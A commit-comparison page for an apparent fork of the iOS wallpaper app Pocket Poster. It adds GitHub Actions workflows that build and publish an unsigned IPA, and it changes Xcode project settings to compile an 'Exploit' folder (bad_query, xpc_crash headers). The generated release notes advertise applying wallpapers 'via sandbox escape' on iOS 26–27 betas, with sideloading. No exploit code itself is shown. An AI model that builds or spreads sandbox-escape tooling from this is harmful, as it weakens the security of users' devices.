Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b01dca5c43 | ||
|
|
dd3b90d629 | ||
|
|
18a67ec171 | ||
|
|
fb07aa4558 | ||
|
|
4a8e723569 | ||
|
|
2112e59d46 | ||
|
|
4324cb79db | ||
|
|
5aacc36822 | ||
|
|
c4e17c9609 | ||
|
|
2bea79eb60 | ||
|
|
e288b1f2e7 | ||
|
|
454c63d2ca | ||
|
|
fb8bd7f26e | ||
|
|
dd902d2c30 | ||
|
|
d35636c0be | ||
|
|
7434897eac | ||
|
|
395cbe5e13 | ||
|
|
71b1d0a21d | ||
|
|
22a74d5fb8 | ||
|
|
ad280b1a6b | ||
|
|
4d6b093ffd | ||
|
|
5a94ea73d9 | ||
|
|
9687a8f19d | ||
|
|
41c215776e | ||
|
|
3892e75556 | ||
|
|
99eba91bad | ||
|
|
dfee862746 | ||
|
|
faaef84376 | ||
|
|
94f78c9f4e | ||
|
|
e932b82515 | ||
|
|
edde7ddb0c | ||
|
|
cdd5cbe634 | ||
|
|
c04b863efa | ||
|
|
d5833dfb81 | ||
|
|
7c2a031463 | ||
|
|
4062d084db | ||
|
|
918af3baa3 | ||
|
|
2f99384650 | ||
|
|
6e95f9336a | ||
|
|
aac867c83a | ||
|
|
f9ba2dee0d | ||
|
|
759597dfb2 | ||
|
|
f305e4b2c6 | ||
|
|
069d5cf1c3 |
No files matched your search
@@ -0,0 +1,61 @@
|
|||||||
|
name: Build IPA
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches: [main]
|
||||||
|
pull_request:
|
||||||
|
branches: [main]
|
||||||
|
workflow_dispatch:
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: build-${{ github.ref }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
build:
|
||||||
|
name: Build unsigned IPA
|
||||||
|
runs-on: macos-15
|
||||||
|
timeout-minutes: 45
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Select Xcode
|
||||||
|
run: |
|
||||||
|
# Prefer newest installed Xcode
|
||||||
|
ls /Applications | grep -i Xcode || true
|
||||||
|
sudo xcode-select -s /Applications/Xcode.app/Contents/Developer
|
||||||
|
xcodebuild -version
|
||||||
|
xcodebuild -showsdks | grep iphoneos || true
|
||||||
|
|
||||||
|
- name: Resolve packages
|
||||||
|
run: |
|
||||||
|
xcodebuild -project "Pocket Poster.xcodeproj" \
|
||||||
|
-scheme "Pocket Poster" \
|
||||||
|
-resolvePackageDependencies
|
||||||
|
|
||||||
|
- name: Build IPA
|
||||||
|
run: |
|
||||||
|
chmod +x ./ipabuild.sh
|
||||||
|
./ipabuild.sh
|
||||||
|
|
||||||
|
- name: Prepare artifact
|
||||||
|
run: |
|
||||||
|
VERSION=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleShortVersionString' \
|
||||||
|
"build/DerivedDataApp/Build/Products/Release-iphoneos/Pocket Poster.app/Info.plist" 2>/dev/null \
|
||||||
|
|| grep -m1 'MARKETING_VERSION' "Pocket Poster.xcodeproj/project.pbxproj" | sed 's/[^0-9.]//g')
|
||||||
|
echo "VERSION=$VERSION" >> "$GITHUB_ENV"
|
||||||
|
test -f "build/Pocket_Poster.ipa" || cp "build/Pocket Poster.ipa" "build/Pocket_Poster.ipa"
|
||||||
|
cp "build/Pocket_Poster.ipa" "build/Pocket_Poster_${VERSION}.ipa"
|
||||||
|
ls -lh build/*.ipa
|
||||||
|
|
||||||
|
- name: Upload IPA (artifact)
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: Pocket_Poster-${{ env.VERSION }}
|
||||||
|
path: |
|
||||||
|
build/Pocket_Poster.ipa
|
||||||
|
build/Pocket_Poster_*.ipa
|
||||||
|
if-no-files-found: error
|
||||||
|
retention-days: 30
|
||||||
@@ -0,0 +1,119 @@
|
|||||||
|
name: Release IPA
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
tags:
|
||||||
|
- "v*"
|
||||||
|
workflow_dispatch:
|
||||||
|
inputs:
|
||||||
|
tag:
|
||||||
|
description: "Optional tag override (e.g. v3.2.2)"
|
||||||
|
required: false
|
||||||
|
type: string
|
||||||
|
default: ""
|
||||||
|
|
||||||
|
permissions:
|
||||||
|
contents: write
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
release:
|
||||||
|
name: Build and release IPA
|
||||||
|
runs-on: macos-15
|
||||||
|
timeout-minutes: 60
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Select Xcode
|
||||||
|
run: |
|
||||||
|
sudo xcode-select -s /Applications/Xcode.app/Contents/Developer
|
||||||
|
xcodebuild -version
|
||||||
|
|
||||||
|
- name: Resolve Swift packages
|
||||||
|
run: |
|
||||||
|
xcodebuild -project "Pocket Poster.xcodeproj" \
|
||||||
|
-scheme "Pocket Poster" \
|
||||||
|
-resolvePackageDependencies
|
||||||
|
|
||||||
|
- name: Build IPA
|
||||||
|
run: |
|
||||||
|
chmod +x ./ipabuild.sh
|
||||||
|
./ipabuild.sh
|
||||||
|
|
||||||
|
- name: Package release assets
|
||||||
|
id: meta
|
||||||
|
run: |
|
||||||
|
set -euo pipefail
|
||||||
|
APP_PLIST="build/DerivedDataApp/Build/Products/Release-iphoneos/Pocket Poster.app/Info.plist"
|
||||||
|
VERSION=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleShortVersionString' "$APP_PLIST")
|
||||||
|
BUILD=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleVersion' "$APP_PLIST")
|
||||||
|
BUNDLE_ID=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleIdentifier' "$APP_PLIST")
|
||||||
|
|
||||||
|
if [ "${{ github.event_name }}" = "workflow_dispatch" ] && [ -n "${{ inputs.tag }}" ]; then
|
||||||
|
TAG="${{ inputs.tag }}"
|
||||||
|
elif [ "${GITHUB_REF_TYPE}" = "tag" ]; then
|
||||||
|
TAG="${GITHUB_REF_NAME}"
|
||||||
|
else
|
||||||
|
TAG="v${VERSION}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
test -f build/Pocket_Poster.ipa || cp "build/Pocket Poster.ipa" build/Pocket_Poster.ipa
|
||||||
|
cp build/Pocket_Poster.ipa "build/Pocket_Poster_${VERSION}.ipa"
|
||||||
|
|
||||||
|
echo "version=${VERSION}" >> "$GITHUB_OUTPUT"
|
||||||
|
echo "build=${BUILD}" >> "$GITHUB_OUTPUT"
|
||||||
|
echo "bundle_id=${BUNDLE_ID}" >> "$GITHUB_OUTPUT"
|
||||||
|
echo "tag=${TAG}" >> "$GITHUB_OUTPUT"
|
||||||
|
|
||||||
|
{
|
||||||
|
echo "## Pocket Poster ${VERSION}"
|
||||||
|
echo ""
|
||||||
|
echo "bad_query fork for **iOS 26 – 27.0b4**"
|
||||||
|
echo ""
|
||||||
|
echo "- On-device PosterBoard hash (no PC / Nugget)"
|
||||||
|
echo "- Apply wallpapers via sandbox escape"
|
||||||
|
echo "- Reset Collections (descriptor wipe)"
|
||||||
|
echo "- Mond-style WebKit respring (works in LiveContainer)"
|
||||||
|
echo ""
|
||||||
|
echo "**Bundle ID:** \`${BUNDLE_ID}\`"
|
||||||
|
echo "**Build:** ${BUILD}"
|
||||||
|
echo ""
|
||||||
|
echo "Sideload with TrollStore / SideStore / LiveContainer."
|
||||||
|
echo ""
|
||||||
|
echo "---"
|
||||||
|
echo "Credits: forcequitOS/bad_query · original leminlimez/Pocket-Poster"
|
||||||
|
} > release_notes.md
|
||||||
|
|
||||||
|
ls -lh build/*.ipa
|
||||||
|
echo "Publishing tag=${TAG} version=${VERSION}"
|
||||||
|
|
||||||
|
- name: Create GitHub Release
|
||||||
|
env:
|
||||||
|
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
run: |
|
||||||
|
set -euo pipefail
|
||||||
|
TAG="${{ steps.meta.outputs.tag }}"
|
||||||
|
VERSION="${{ steps.meta.outputs.version }}"
|
||||||
|
|
||||||
|
# Create tag on current commit if dispatch without existing tag
|
||||||
|
if ! git rev-parse "$TAG" >/dev/null 2>&1; then
|
||||||
|
git tag "$TAG"
|
||||||
|
git push origin "$TAG" || true
|
||||||
|
fi
|
||||||
|
|
||||||
|
if gh release view "$TAG" >/dev/null 2>&1; then
|
||||||
|
gh release upload "$TAG" \
|
||||||
|
build/Pocket_Poster.ipa \
|
||||||
|
"build/Pocket_Poster_${VERSION}.ipa" \
|
||||||
|
--clobber
|
||||||
|
gh release edit "$TAG" \
|
||||||
|
--title "Pocket Poster ${VERSION}" \
|
||||||
|
--notes-file release_notes.md
|
||||||
|
else
|
||||||
|
gh release create "$TAG" \
|
||||||
|
build/Pocket_Poster.ipa \
|
||||||
|
"build/Pocket_Poster_${VERSION}.ipa" \
|
||||||
|
--title "Pocket Poster ${VERSION}" \
|
||||||
|
--notes-file release_notes.md
|
||||||
|
fi
|
||||||
@@ -8,15 +8,32 @@
|
|||||||
|
|
||||||
/* Begin PBXBuildFile section */
|
/* Begin PBXBuildFile section */
|
||||||
6F09B7BB2DEB873F00CDE89C /* ZIPFoundation in Frameworks */ = {isa = PBXBuildFile; productRef = 6F09B7BA2DEB873F00CDE89C /* ZIPFoundation */; };
|
6F09B7BB2DEB873F00CDE89C /* ZIPFoundation in Frameworks */ = {isa = PBXBuildFile; productRef = 6F09B7BA2DEB873F00CDE89C /* ZIPFoundation */; };
|
||||||
|
6F09BA332E00808300CDE89C /* Dynamic in Frameworks */ = {isa = PBXBuildFile; productRef = 6F09BA322E00808300CDE89C /* Dynamic */; };
|
||||||
|
6FB105552E26D3EC00185A5C /* CachedAsyncImage in Frameworks */ = {isa = PBXBuildFile; productRef = 6FB105542E26D3EC00185A5C /* CachedAsyncImage */; };
|
||||||
/* End PBXBuildFile section */
|
/* End PBXBuildFile section */
|
||||||
|
|
||||||
/* Begin PBXFileReference section */
|
/* Begin PBXFileReference section */
|
||||||
6F09B79D2DEB694B00CDE89C /* Pocket Poster.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = "Pocket Poster.app"; sourceTree = BUILT_PRODUCTS_DIR; };
|
6F09B79D2DEB694B00CDE89C /* Pocket Poster.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = "Pocket Poster.app"; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||||
/* End PBXFileReference section */
|
/* End PBXFileReference section */
|
||||||
|
|
||||||
|
/* Begin PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */
|
||||||
|
BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */ = {
|
||||||
|
isa = PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet;
|
||||||
|
buildPhase = 6F09B7992DEB694B00CDE89C /* Sources */;
|
||||||
|
membershipExceptions = (
|
||||||
|
Exploit/bad_query.h,
|
||||||
|
"Exploit/Pocket-Poster-Bridging-Header.h",
|
||||||
|
"Exploit/xpc_crash.h",
|
||||||
|
);
|
||||||
|
};
|
||||||
|
/* End PBXFileSystemSynchronizedGroupBuildPhaseMembershipExceptionSet section */
|
||||||
|
|
||||||
/* Begin PBXFileSystemSynchronizedRootGroup section */
|
/* Begin PBXFileSystemSynchronizedRootGroup section */
|
||||||
6F09B79F2DEB694B00CDE89C /* Pocket Poster */ = {
|
6F09B79F2DEB694B00CDE89C /* Pocket Poster */ = {
|
||||||
isa = PBXFileSystemSynchronizedRootGroup;
|
isa = PBXFileSystemSynchronizedRootGroup;
|
||||||
|
exceptions = (
|
||||||
|
BQ0000012DEB694B00CDE89C /* Exceptions for "Pocket Poster" folder in "Compile Sources" phase from "Pocket Poster" target */,
|
||||||
|
);
|
||||||
explicitFolders = (
|
explicitFolders = (
|
||||||
Resources/VideoCAML,
|
Resources/VideoCAML,
|
||||||
);
|
);
|
||||||
@@ -30,6 +47,8 @@
|
|||||||
isa = PBXFrameworksBuildPhase;
|
isa = PBXFrameworksBuildPhase;
|
||||||
buildActionMask = 2147483647;
|
buildActionMask = 2147483647;
|
||||||
files = (
|
files = (
|
||||||
|
6FB105552E26D3EC00185A5C /* CachedAsyncImage in Frameworks */,
|
||||||
|
6F09BA332E00808300CDE89C /* Dynamic in Frameworks */,
|
||||||
6F09B7BB2DEB873F00CDE89C /* ZIPFoundation in Frameworks */,
|
6F09B7BB2DEB873F00CDE89C /* ZIPFoundation in Frameworks */,
|
||||||
);
|
);
|
||||||
runOnlyForDeploymentPostprocessing = 0;
|
runOnlyForDeploymentPostprocessing = 0;
|
||||||
@@ -74,6 +93,8 @@
|
|||||||
name = "Pocket Poster";
|
name = "Pocket Poster";
|
||||||
packageProductDependencies = (
|
packageProductDependencies = (
|
||||||
6F09B7BA2DEB873F00CDE89C /* ZIPFoundation */,
|
6F09B7BA2DEB873F00CDE89C /* ZIPFoundation */,
|
||||||
|
6F09BA322E00808300CDE89C /* Dynamic */,
|
||||||
|
6FB105542E26D3EC00185A5C /* CachedAsyncImage */,
|
||||||
);
|
);
|
||||||
productName = "Pocket Poster";
|
productName = "Pocket Poster";
|
||||||
productReference = 6F09B79D2DEB694B00CDE89C /* Pocket Poster.app */;
|
productReference = 6F09B79D2DEB694B00CDE89C /* Pocket Poster.app */;
|
||||||
@@ -105,6 +126,8 @@
|
|||||||
minimizedProjectReferenceProxies = 1;
|
minimizedProjectReferenceProxies = 1;
|
||||||
packageReferences = (
|
packageReferences = (
|
||||||
6F09B7B92DEB873F00CDE89C /* XCRemoteSwiftPackageReference "ZIPFoundation" */,
|
6F09B7B92DEB873F00CDE89C /* XCRemoteSwiftPackageReference "ZIPFoundation" */,
|
||||||
|
6F09BA312E00808300CDE89C /* XCRemoteSwiftPackageReference "Dynamic" */,
|
||||||
|
6FB105532E26D3EC00185A5C /* XCRemoteSwiftPackageReference "swiftui-cached-async-image" */,
|
||||||
);
|
);
|
||||||
preferredProjectObjectVersion = 77;
|
preferredProjectObjectVersion = 77;
|
||||||
productRefGroup = 6F09B79E2DEB694B00CDE89C /* Products */;
|
productRefGroup = 6F09B79E2DEB694B00CDE89C /* Products */;
|
||||||
@@ -264,11 +287,15 @@
|
|||||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||||
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
||||||
CODE_SIGN_STYLE = Automatic;
|
CODE_SIGN_STYLE = Automatic;
|
||||||
CURRENT_PROJECT_VERSION = 0;
|
CURRENT_PROJECT_VERSION = 3;
|
||||||
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
|
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
|
||||||
DEVELOPMENT_TEAM = 2P4CP47H76;
|
DEVELOPMENT_TEAM = 2P4CP47H76;
|
||||||
ENABLE_PREVIEWS = YES;
|
ENABLE_PREVIEWS = YES;
|
||||||
GENERATE_INFOPLIST_FILE = YES;
|
GENERATE_INFOPLIST_FILE = YES;
|
||||||
|
HEADER_SEARCH_PATHS = (
|
||||||
|
"$(inherited)",
|
||||||
|
"\"$(SRCROOT)/Pocket Poster/Exploit\"",
|
||||||
|
);
|
||||||
INFOPLIST_FILE = "Pocket-Poster-Info.plist";
|
INFOPLIST_FILE = "Pocket-Poster-Info.plist";
|
||||||
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
|
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
|
||||||
INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
|
INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
|
||||||
@@ -276,15 +303,16 @@
|
|||||||
INFOPLIST_KEY_UILaunchScreen_Generation = YES;
|
INFOPLIST_KEY_UILaunchScreen_Generation = YES;
|
||||||
INFOPLIST_KEY_UISupportedInterfaceOrientations = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait";
|
INFOPLIST_KEY_UISupportedInterfaceOrientations = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait";
|
||||||
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown";
|
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown";
|
||||||
IPHONEOS_DEPLOYMENT_TARGET = 17.0;
|
IPHONEOS_DEPLOYMENT_TARGET = 16.0;
|
||||||
LD_RUNPATH_SEARCH_PATHS = (
|
LD_RUNPATH_SEARCH_PATHS = (
|
||||||
"$(inherited)",
|
"$(inherited)",
|
||||||
"@executable_path/Frameworks",
|
"@executable_path/Frameworks",
|
||||||
);
|
);
|
||||||
MARKETING_VERSION = 2.0.1;
|
MARKETING_VERSION = 3.2.2;
|
||||||
PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster";
|
PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
|
||||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||||
SWIFT_EMIT_LOC_STRINGS = YES;
|
SWIFT_EMIT_LOC_STRINGS = YES;
|
||||||
|
SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h";
|
||||||
SWIFT_VERSION = 5.0;
|
SWIFT_VERSION = 5.0;
|
||||||
TARGETED_DEVICE_FAMILY = "1,2";
|
TARGETED_DEVICE_FAMILY = "1,2";
|
||||||
};
|
};
|
||||||
@@ -296,11 +324,15 @@
|
|||||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||||
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
||||||
CODE_SIGN_STYLE = Automatic;
|
CODE_SIGN_STYLE = Automatic;
|
||||||
CURRENT_PROJECT_VERSION = 0;
|
CURRENT_PROJECT_VERSION = 3;
|
||||||
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
|
DEVELOPMENT_ASSET_PATHS = "\"Pocket Poster/Preview Content\"";
|
||||||
DEVELOPMENT_TEAM = 2P4CP47H76;
|
DEVELOPMENT_TEAM = 2P4CP47H76;
|
||||||
ENABLE_PREVIEWS = YES;
|
ENABLE_PREVIEWS = YES;
|
||||||
GENERATE_INFOPLIST_FILE = YES;
|
GENERATE_INFOPLIST_FILE = YES;
|
||||||
|
HEADER_SEARCH_PATHS = (
|
||||||
|
"$(inherited)",
|
||||||
|
"\"$(SRCROOT)/Pocket Poster/Exploit\"",
|
||||||
|
);
|
||||||
INFOPLIST_FILE = "Pocket-Poster-Info.plist";
|
INFOPLIST_FILE = "Pocket-Poster-Info.plist";
|
||||||
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
|
INFOPLIST_KEY_LSSupportsOpeningDocumentsInPlace = YES;
|
||||||
INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
|
INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES;
|
||||||
@@ -308,15 +340,16 @@
|
|||||||
INFOPLIST_KEY_UILaunchScreen_Generation = YES;
|
INFOPLIST_KEY_UILaunchScreen_Generation = YES;
|
||||||
INFOPLIST_KEY_UISupportedInterfaceOrientations = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait";
|
INFOPLIST_KEY_UISupportedInterfaceOrientations = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait";
|
||||||
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown";
|
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown";
|
||||||
IPHONEOS_DEPLOYMENT_TARGET = 17.0;
|
IPHONEOS_DEPLOYMENT_TARGET = 16.0;
|
||||||
LD_RUNPATH_SEARCH_PATHS = (
|
LD_RUNPATH_SEARCH_PATHS = (
|
||||||
"$(inherited)",
|
"$(inherited)",
|
||||||
"@executable_path/Frameworks",
|
"@executable_path/Frameworks",
|
||||||
);
|
);
|
||||||
MARKETING_VERSION = 2.0.1;
|
MARKETING_VERSION = 3.2.2;
|
||||||
PRODUCT_BUNDLE_IDENTIFIER = "com.lemin.Pocket-Poster";
|
PRODUCT_BUNDLE_IDENTIFIER = "com.mak5er.Pocket-Poster";
|
||||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||||
SWIFT_EMIT_LOC_STRINGS = YES;
|
SWIFT_EMIT_LOC_STRINGS = YES;
|
||||||
|
SWIFT_OBJC_BRIDGING_HEADER = "Pocket Poster/Exploit/Pocket-Poster-Bridging-Header.h";
|
||||||
SWIFT_VERSION = 5.0;
|
SWIFT_VERSION = 5.0;
|
||||||
TARGETED_DEVICE_FAMILY = "1,2";
|
TARGETED_DEVICE_FAMILY = "1,2";
|
||||||
};
|
};
|
||||||
@@ -354,6 +387,22 @@
|
|||||||
minimumVersion = 0.9.19;
|
minimumVersion = 0.9.19;
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
6F09BA312E00808300CDE89C /* XCRemoteSwiftPackageReference "Dynamic" */ = {
|
||||||
|
isa = XCRemoteSwiftPackageReference;
|
||||||
|
repositoryURL = "https://github.com/mhdhejazi/Dynamic";
|
||||||
|
requirement = {
|
||||||
|
kind = upToNextMajorVersion;
|
||||||
|
minimumVersion = 1.2.0;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
6FB105532E26D3EC00185A5C /* XCRemoteSwiftPackageReference "swiftui-cached-async-image" */ = {
|
||||||
|
isa = XCRemoteSwiftPackageReference;
|
||||||
|
repositoryURL = "https://github.com/lorenzofiamingo/swiftui-cached-async-image";
|
||||||
|
requirement = {
|
||||||
|
kind = upToNextMajorVersion;
|
||||||
|
minimumVersion = 2.1.1;
|
||||||
|
};
|
||||||
|
};
|
||||||
/* End XCRemoteSwiftPackageReference section */
|
/* End XCRemoteSwiftPackageReference section */
|
||||||
|
|
||||||
/* Begin XCSwiftPackageProductDependency section */
|
/* Begin XCSwiftPackageProductDependency section */
|
||||||
@@ -362,6 +411,16 @@
|
|||||||
package = 6F09B7B92DEB873F00CDE89C /* XCRemoteSwiftPackageReference "ZIPFoundation" */;
|
package = 6F09B7B92DEB873F00CDE89C /* XCRemoteSwiftPackageReference "ZIPFoundation" */;
|
||||||
productName = ZIPFoundation;
|
productName = ZIPFoundation;
|
||||||
};
|
};
|
||||||
|
6F09BA322E00808300CDE89C /* Dynamic */ = {
|
||||||
|
isa = XCSwiftPackageProductDependency;
|
||||||
|
package = 6F09BA312E00808300CDE89C /* XCRemoteSwiftPackageReference "Dynamic" */;
|
||||||
|
productName = Dynamic;
|
||||||
|
};
|
||||||
|
6FB105542E26D3EC00185A5C /* CachedAsyncImage */ = {
|
||||||
|
isa = XCSwiftPackageProductDependency;
|
||||||
|
package = 6FB105532E26D3EC00185A5C /* XCRemoteSwiftPackageReference "swiftui-cached-async-image" */;
|
||||||
|
productName = CachedAsyncImage;
|
||||||
|
};
|
||||||
/* End XCSwiftPackageProductDependency section */
|
/* End XCSwiftPackageProductDependency section */
|
||||||
};
|
};
|
||||||
rootObject = 6F09B7952DEB694B00CDE89C /* Project object */;
|
rootObject = 6F09B7952DEB694B00CDE89C /* Project object */;
|
||||||
|
|||||||
@@ -1,6 +1,24 @@
|
|||||||
{
|
{
|
||||||
"originHash" : "d0d4edfdf2bf3cd05b3ba2dec0af1a9c271c93f944cbba8677cc647f74a6b323",
|
"originHash" : "7f2d604f1affb7dc07ec1898cef3c0eaf130e2b55b5c441f445ab59c3285c1bb",
|
||||||
"pins" : [
|
"pins" : [
|
||||||
|
{
|
||||||
|
"identity" : "dynamic",
|
||||||
|
"kind" : "remoteSourceControl",
|
||||||
|
"location" : "https://github.com/mhdhejazi/Dynamic",
|
||||||
|
"state" : {
|
||||||
|
"revision" : "ab9a2570862d54aed2663691bb767f881226a12f",
|
||||||
|
"version" : "1.2.0"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"identity" : "swiftui-cached-async-image",
|
||||||
|
"kind" : "remoteSourceControl",
|
||||||
|
"location" : "https://github.com/lorenzofiamingo/swiftui-cached-async-image",
|
||||||
|
"state" : {
|
||||||
|
"revision" : "467a3d17479887943ab917a379e62bbaff60ac8a",
|
||||||
|
"version" : "2.1.1"
|
||||||
|
}
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"identity" : "zipfoundation",
|
"identity" : "zipfoundation",
|
||||||
"kind" : "remoteSourceControl",
|
"kind" : "remoteSourceControl",
|
||||||
|
|||||||
@@ -0,0 +1,77 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<Scheme
|
||||||
|
LastUpgradeVersion = "1620"
|
||||||
|
version = "1.7">
|
||||||
|
<BuildAction
|
||||||
|
parallelizeBuildables = "YES"
|
||||||
|
buildImplicitDependencies = "YES">
|
||||||
|
<BuildActionEntries>
|
||||||
|
<BuildActionEntry
|
||||||
|
buildForTesting = "YES"
|
||||||
|
buildForRunning = "YES"
|
||||||
|
buildForProfiling = "YES"
|
||||||
|
buildForArchiving = "YES"
|
||||||
|
buildForAnalyzing = "YES">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "6F09B79C2DEB694B00CDE89C"
|
||||||
|
BuildableName = "Pocket Poster.app"
|
||||||
|
BlueprintName = "Pocket Poster"
|
||||||
|
ReferencedContainer = "container:Pocket Poster.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildActionEntry>
|
||||||
|
</BuildActionEntries>
|
||||||
|
</BuildAction>
|
||||||
|
<TestAction
|
||||||
|
buildConfiguration = "Debug"
|
||||||
|
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||||
|
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||||
|
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||||
|
shouldAutocreateTestPlan = "YES">
|
||||||
|
</TestAction>
|
||||||
|
<LaunchAction
|
||||||
|
buildConfiguration = "Debug"
|
||||||
|
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||||
|
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||||
|
launchStyle = "0"
|
||||||
|
useCustomWorkingDirectory = "NO"
|
||||||
|
ignoresPersistentStateOnLaunch = "NO"
|
||||||
|
debugDocumentVersioning = "YES"
|
||||||
|
debugServiceExtension = "internal"
|
||||||
|
allowLocationSimulation = "YES">
|
||||||
|
<BuildableProductRunnable
|
||||||
|
runnableDebuggingMode = "0">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "6F09B79C2DEB694B00CDE89C"
|
||||||
|
BuildableName = "Pocket Poster.app"
|
||||||
|
BlueprintName = "Pocket Poster"
|
||||||
|
ReferencedContainer = "container:Pocket Poster.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildableProductRunnable>
|
||||||
|
</LaunchAction>
|
||||||
|
<ProfileAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||||
|
savedToolIdentifier = ""
|
||||||
|
useCustomWorkingDirectory = "NO"
|
||||||
|
debugDocumentVersioning = "YES">
|
||||||
|
<BuildableProductRunnable
|
||||||
|
runnableDebuggingMode = "0">
|
||||||
|
<BuildableReference
|
||||||
|
BuildableIdentifier = "primary"
|
||||||
|
BlueprintIdentifier = "6F09B79C2DEB694B00CDE89C"
|
||||||
|
BuildableName = "Pocket Poster.app"
|
||||||
|
BlueprintName = "Pocket Poster"
|
||||||
|
ReferencedContainer = "container:Pocket Poster.xcodeproj">
|
||||||
|
</BuildableReference>
|
||||||
|
</BuildableProductRunnable>
|
||||||
|
</ProfileAction>
|
||||||
|
<AnalyzeAction
|
||||||
|
buildConfiguration = "Debug">
|
||||||
|
</AnalyzeAction>
|
||||||
|
<ArchiveAction
|
||||||
|
buildConfiguration = "Release"
|
||||||
|
revealArchiveInOrganizer = "YES">
|
||||||
|
</ArchiveAction>
|
||||||
|
</Scheme>
|
||||||
+1
-1
@@ -7,7 +7,7 @@
|
|||||||
<key>Pocket Poster.xcscheme_^#shared#^_</key>
|
<key>Pocket Poster.xcscheme_^#shared#^_</key>
|
||||||
<dict>
|
<dict>
|
||||||
